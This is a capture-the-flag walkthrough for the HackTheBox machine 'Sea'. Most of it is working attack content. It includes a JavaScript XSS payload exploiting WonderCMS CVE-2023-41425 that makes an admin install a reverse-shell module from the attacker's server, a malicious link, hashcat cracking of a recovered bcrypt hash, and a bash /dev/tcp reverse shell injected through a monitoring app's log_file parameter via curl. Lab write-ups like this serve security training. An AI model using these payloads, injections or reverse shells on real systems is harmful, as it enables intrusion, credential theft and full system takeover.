Sea - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐⭐

Summary

Sea is an Easy Linux machine running WonderCMS 3.2.0, vulnerable to CVE-2023-41425, a cross-site scripting (XSS) flaw that allows authenticated attackers to upload malicious modules for remote code execution. Initial access is gained by crafting a malicious XSS payload sent via the contact form, triggering the admin to load our payload and install a reverse shell module. Privilege escalation involves extracting and cracking the WonderCMS database password hash, then leveraging a command injection vulnerability in a custom monitoring application running on port 8080 to achieve root access.

TL;DR: XSS → RCE via WonderCMS module installation → Crack bcrypt hash from database → SSH as amay → Command injection in monitoring app → Root shell

Reconnaissance

Port Scanning

# Fast port scan
nmap -p- --min-rate=1000 -T4 10.129.76.146

# Detailed enumeration on discovered ports
nmap -p22,80 -sC -sV 10.129.76.146

Results:

Service Enumeration

HTTP (Port 80):

• Landing page for a bike competition company with contact form
• Domain: sea.htb (added to /etc/hosts)
• Technologies: PHP (PHPSESSID cookie observed)

Directory Enumeration:

# Initial directory discovery
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -u "http://sea.htb/FUZZ" -c -v

# Enumerate themes directory
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -u "http://sea.htb/themes/FUZZ" -c -v

# Search for sensitive files in bike theme
ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt \
  -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403

Key Findings:

• /themes/bike/README.md – Identifies backend as WonderCMS
• /themes/bike/version – Version 3.2.0

Vulnerability Assessment

WonderCMS 3.2.0 – CVE-2023-41425 (XSS to RCE):

• Cross-site scripting vulnerability in login page
• Can inject malicious JavaScript to steal CSRF tokens
• Allows installation of arbitrary modules from remote sources
• Enables remote code execution through crafted module payloads

Initial Foothold

Exploitation Path

Step 1: Analyze the Vulnerability

The CVE-2023-41425 PoC exploits XSS on the login page to:

1. Extract the CSRF token from the login form
2. Use XMLHttpRequest to send module installation request
3. Install a reverse shell module from attacker-controlled server
4. Execute the reverse shell payload

Step 2: Prepare the Malicious Module

# Download the reverse shell module
wget https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip

Step 3: Create the XSS Payload

The exploit script generates an XSS payload that will be embedded in a URL:

var url = "http://sea.htb/";
var urlWithoutLogBase = "http://sea.htb";  // Fixed URL parsing issue
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase + "/?installModule=http://10.10.16.19:8000/main.zip&directoryName=violet&type=themes&token=" + token;

var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
  if (xhr3.status == 200) {
    var xhr4 = new XMLHttpRequest();
    xhr4.withCredentials = true;
    xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
    xhr4.send();
    xhr4.onload = function() {
      if (xhr4.status == 200) {
        var ip = "10.10.16.19";
        var port = "4444";
        var xhr5 = new XMLHttpRequest();
        xhr5.withCredentials = true;
        xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
        xhr5.send();
      }
    };
  }
};

Step 4: Host Files and Set Up Listener

# Terminal 1: Start HTTP server to host xss.js and main.zip
cd /tmp
python3 -m http.server 8000

# Terminal 2: Start Netcat listener for reverse shell
nc -lvvp 4444

Step 5: Generate XSS Link

python3 exploit.py http://sea.htb/index.php?page=LoginURL 10.10.16.19 4444

This generates a malicious link like:

http://sea.htb/index.php?page=LoginURL"></form><script+src="http://10.10.16.19:8000/xss.js"></script><form+action="

Step 6: Send Link to Admin

Use the contact form to send the XSS link. The admin will click it, triggering:

• Browser loads xss.js from attacker server
• JavaScript extracts CSRF token
• Module installation request sent with admin privileges
• Reverse shell module installed and executed

Admin visits link → xss.js loaded → rev.php executed → Reverse shell callback

Step 7: Gain Shell as www-data

# Netcat receives connection
Connection received on sea.htb 49588

# Upgrade shell
script /dev/null -c bash

Extracting User Credentials

Step 8: Find WonderCMS Database

cat /var/www/sea/data/database.js

Output reveals bcrypt password hash:

"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q"

Step 9: Crack Password Hash

# Remove backslashes and write to file
echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > hash.txt

# Crack with hashcat (mode 3200 = bcrypt)
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Result: mychemicalromance

Step 10: Identify Target User

cat /etc/passwd | grep /bin/bash
# Output shows: amay (UID 1000) and geo (UID 1001)

Step 11: Switch User and Read Flag

su amay
# Password: mychemicalromance

cat /home/amay/user.txt

Privilege Escalation

Reconnaissance for Escalation

Step 12: Discover Internal Service

netstat -ntlp

Output reveals port 8080 listening on 127.0.0.1 (internal only)

Step 13: Port Forward to Local Machine

# On attacker machine
ssh amay@sea.htb -L 8080:127.0.0.1:8080
# Password: mychemicalromance

Step 14: Access Monitoring Application

Navigate to http://localhost:8080 in browser. Application presents:

• System update function
• Apt cleaning
• Auth log clearing
• Access log clearing
• Log file analysis

Uses basic authentication: amay:mychemicalromance

Step 15: Identify Command Injection

The “Analyze Logs” feature accepts a log_file parameter. Testing for injection:

# Test payload: touch /tmp/test.txt
POST /analyze HTTP/1.1
Content-Type: application/x-www-form-urlencoded

log_file=/var/log/apache2/;touch+/tmp/test.txt&analyze_log=

Verify execution:

ls -la /tmp/test.txt
# -rw-r--r-- 1 root root 0 Dec 19 15:12 /tmp/test.txt

Step 16: Execute Reverse Shell

# Payload: bash -c 'bash -i >& /dev/tcp/10.10.16.19/4444 0>&1'

# URL encoded payload:
log_file=%2Fvar%2Flog%2Fapache2%2F;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.19/4444+0>%261'&analyze_log=

Send request via Burp Suite (or curl):

curl -u amay:mychemicalromance \
  -X POST http://localhost:8080/analyze \
  -d "log_file=%2Fvar%2Flog%2Fapache2%2F;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.19/4444+0>%261'&analyze_log="

Step 17: Receive Root Shell

# Terminal with Netcat listener
nc -lvvp 4444
# Connection received on sea.htb 48896
# root@sea:~/monitoring#

# Read root flag
cat /root/root.txt

Attack Chain Summary

Initial Recon (Nmap, FFuf)
    ↓
Identify WonderCMS 3.2.0
    ↓
Discover CVE-2023-41425 (XSS)
    ↓
Craft XSS payload + Host malicious module
    ↓
Send link to admin via contact form
    ↓
Admin clicks → XSS executes → Module installs
    ↓
Reverse shell (www-data)
    ↓
Extract password hash from /var/www/sea/data/database.js
    ↓
Crack bcrypt hash → mychemicalromance
    ↓
Switch user to amay
    ↓
Discover internal port 8080 (monitoring app)
    ↓
Port forward via SSH
    ↓
Test command injection in log_file parameter
    ↓
Execute reverse shell payload
    ↓
Root access

Tools Used

Key Learnings

Techniques Practiced

• Web Enumeration: Directory discovery, file enumeration, technology fingerprinting
• Cross-Site Scripting (XSS): Injecting JavaScript to manipulate admin actions
• CSRF Token Extraction: Using XSS to bypass CSRF protections
• Module Installation Exploitation: Leveraging CMS module systems for RCE
• Hash Cracking: Identifying hash types and using hashcat with appropriate modes
• Command Injection: Identifying and exploiting unvalidated command concatenation
• Port Forwarding: Using SSH tunnels to access internal services
• Reverse Shell Techniques: Creating callbacks from restricted network environments

Lessons Learned

1. WonderCMS Vulnerabilities – Older CMS versions contain exploitable XSS flaws; version checking is critical for security assessment

2. Admin Interaction Attacks – Social engineering (sending links via contact forms) is effective when combined with technical exploits; admins are a high-value target

3. Database Security – Storing credentials in plaintext JSON files (even hashed) poses risk if the application directory is web-accessible

4. Credential Reuse – Database passwords often reused across system accounts; password cracking should be followed by lateral movement attempts

5. Input Validation Failures – Command injection in user-supplied parameters (log_file) demonstrates the critical importance of input sanitization

6. Internal Service Exposure – Services listening on localhost (8080) are still accessible via authenticated users; enumerate all network connections even on restricted ports

7. Privilege Escalation Chains – Root access achieved through a vulnerable internal monitoring tool; attackers should always enumerate services accessible to compromised user accounts

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>